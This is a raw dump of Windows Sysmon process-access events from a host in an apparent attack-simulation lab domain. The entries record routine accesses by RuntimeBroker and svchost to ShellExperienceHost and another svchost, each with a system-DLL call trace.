14:44:42.283{7BD73061-6D0E-613B-8A06-00000000F001}32686372C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\Windows.Storage.dll+e570d|C:\Windows\System32\Windows.Storage.dll+2ca482|C:\Windows\System32\Windows.Storage.dll+13b515|C:\Windows\System32\Windows.Storage.dll+74b46|C:\Windows\System32\Windows.Storage.dll+2a2f27|C:\Windows\System32\Windows.Storage.dll+75263|C:\Windows\System32\Windows.Storage.dll+752da|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466 10341000x800000000000000043403Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.283{7BD73061-6D0E-613B-8A06-00000000F001}32686372C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\Windows.Storage.dll+e570d|C:\Windows\System32\Windows.Storage.dll+2a2fc5|C:\Windows\System32\Windows.Storage.dll+75263|C:\Windows\System32\Windows.Storage.dll+752da|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c 10341000x800000000000000043402Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.283{7BD73061-6D0E-613B-8A06-00000000F001}32686068C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\shcore.dll+35576|C:\Windows\System32\shcore.dll+201ef|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+6169d|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde|C:\Windows\System32\RPCRT4.dll+30ed7|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a 10341000x800000000000000043401Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.283{7BD73061-6D0E-613B-8A06-00000000F001}32686372C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\Windows.Storage.dll+e570d|C:\Windows\System32\Windows.Storage.dll+2ca482|C:\Windows\System32\Windows.Storage.dll+13b515|C:\Windows\System32\Windows.Storage.dll+74b46|C:\Windows\System32\Windows.Storage.dll+2a2f27|C:\Windows\System32\Windows.Storage.dll+75263|C:\Windows\System32\Windows.Storage.dll+752da|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466 10341000x800000000000000043400Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.283{7BD73061-6D0E-613B-8A06-00000000F001}32686372C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\Windows.Storage.dll+e570d|C:\Windows\System32\Windows.Storage.dll+2a2fc5|C:\Windows\System32\Windows.Storage.dll+75263|C:\Windows\System32\Windows.Storage.dll+752da|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c 10341000x800000000000000043399Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.268{7BD73061-6D0E-613B-8A06-00000000F001}32686372C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\Windows.Storage.dll+e570d|C:\Windows\System32\Windows.Storage.dll+2ca482|C:\Windows\System32\Windows.Storage.dll+13b515|C:\Windows\System32\Windows.Storage.dll+74b46|C:\Windows\System32\Windows.Storage.dll+2a2f27|C:\Windows\System32\Windows.Storage.dll+75263|C:\Windows\System32\Windows.Storage.dll+752da|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466 10341000x800000000000000043398Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.268{7BD73061-6D0E-613B-8A06-00000000F001}32686372C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\Windows.Storage.dll+e570d|C:\Windows\System32\Windows.Storage.dll+131ba3|C:\Windows\System32\Windows.Storage.dll+130e1d|C:\Windows\System32\Windows.Storage.dll+130d31|C:\Windows\System32\Windows.Storage.dll+130cca|C:\Windows\System32\Windows.Storage.dll+9ba99|C:\Windows\System32\Windows.Storage.dll+61d16|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466 10341000x800000000000000043397Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.268{7BD73061-6D0E-613B-8A06-00000000F001}32686372C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\Windows.Storage.dll+e570d|C:\Windows\System32\Windows.Storage.dll+139883|C:\Windows\System32\Windows.Storage.dll+9b910|C:\Windows\System32\Windows.Storage.dll+9b867|C:\Windows\System32\Windows.Storage.dll+9ba37|C:\Windows\System32\Windows.Storage.dll+61d16|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a 10341000x800000000000000043396Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.268{7BD73061-6D0E-613B-8A06-00000000F001}32686372C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\Windows.Storage.dll+e570d|C:\Windows\System32\Windows.Storage.dll+137543|C:\Windows\System32\Windows.Storage.dll+61dd5|C:\Windows\System32\Windows.Storage.dll+61cf8|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c 10341000x800000000000000043395Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.268{7BD73061-6D0E-613B-8A06-00000000F001}32686372C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\Windows.Storage.dll+e570d|C:\Windows\System32\Windows.Storage.dll+61da9|C:\Windows\System32\Windows.Storage.dll+61cf8|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Windows\System32\Windows.Storage.dll+13225c 10341000x800000000000000043394Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.268{7BD73061-6D0E-613B-8A06-00000000F001}32686372C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\Windows.Storage.dll+e570d|C:\Windows\System32\Windows.Storage.dll+131ba3|C:\Windows\System32\Windows.Storage.dll+130e1d|C:\Windows\System32\Windows.Storage.dll+130d31|C:\Windows\System32\Windows.Storage.dll+130cca|C:\Windows\System32\Windows.Storage.dll+9ba99|C:\Windows\System32\Windows.Storage.dll+61d16|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466 10341000x800000000000000043393Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.268{7BD73061-6D0E-613B-8A06-00000000F001}32686372C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\Windows.Storage.dll+e570d|C:\Windows\System32\Windows.Storage.dll+139883|C:\Windows\System32\Windows.Storage.dll+9b910|C:\Windows\System32\Windows.Storage.dll+9b867|C:\Windows\System32\Windows.Storage.dll+9ba37|C:\Windows\System32\Windows.Storage.dll+61d16|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a 10341000x800000000000000043392Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.268{7BD73061-6D0E-613B-8A06-00000000F001}32686372C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\Windows.Storage.dll+e570d|C:\Windows\System32\Windows.Storage.dll+137543|C:\Windows\System32\Windows.Storage.dll+61dd5|C:\Windows\System32\Windows.Storage.dll+61cf8|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c 10341000x800000000000000043391Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.268{7BD73061-6D0E-613B-8A06-00000000F001}32686372C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\Windows.Storage.dll+e570d|C:\Windows\System32\Windows.Storage.dll+61da9|C:\Windows\System32\Windows.Storage.dll+61cf8|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Windows\System32\Windows.Storage.dll+13225c 10341000x800000000000000043390Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.268{7BD73061-6D0E-613B-8A06-00000000F001}32686372C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\Windows.Storage.dll+e570d|C:\Windows\System32\Windows.Storage.dll+131ba3|C:\Windows\System32\Windows.Storage.dll+130e1d|C:\Windows\System32\Windows.Storage.dll+130d31|C:\Windows\System32\Windows.Storage.dll+130cca|C:\Windows\System32\Windows.Storage.dll+9ba99|C:\Windows\System32\Windows.Storage.dll+61d16|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466 10341000x800000000000000043389Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.268{7BD73061-6D0E-613B-8A06-00000000F001}32686372C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\Windows.Storage.dll+e570d|C:\Windows\System32\Windows.Storage.dll+139883|C:\Windows\System32\Windows.Storage.dll+9b910|C:\Windows\System32\Windows.Storage.dll+9b867|C:\Windows\System32\Windows.Storage.dll+9ba37|C:\Windows\System32\Windows.Storage.dll+61d16|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a 10341000x800000000000000043388Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.268{7BD73061-6D0E-613B-8A06-00000000F001}32686372C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\Windows.Storage.dll+e570d|C:\Windows\System32\Windows.Storage.dll+137543|C:\Windows\System32\Windows.Storage.dll+61dd5|C:\Windows\System32\Windows.Storage.dll+61cf8|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c 10341000x800000000000000043387Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.268{7BD73061-6D0E-613B-8A06-00000000F001}32686372C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\Windows.Storage.dll+e570d|C:\Windows\System32\Windows.Storage.dll+61da9|C:\Windows\System32\Windows.Storage.dll+61cf8|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Windows\System32\Windows.Storage.dll+13225c 10341000x800000000000000043386Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.268{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043385Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.268{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x3200C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+78b1|C:\Windows\SYSTEM32\psmserviceexthost.dll+739b|C:\Windows\SYSTEM32\psmserviceexthost.dll+ae34|C:\Windows\SYSTEM32\psmserviceexthost.dll+7bae|C:\Windows\SYSTEM32\psmserviceexthost.dll+12141|C:\Windows\SYSTEM32\psmserviceexthost.dll+170e8|C:\Windows\SYSTEM32\resourcepolicyserver.dll+12326|C:\Windows\SYSTEM32\resourcepolicyserver.dll+bac5|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043384Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 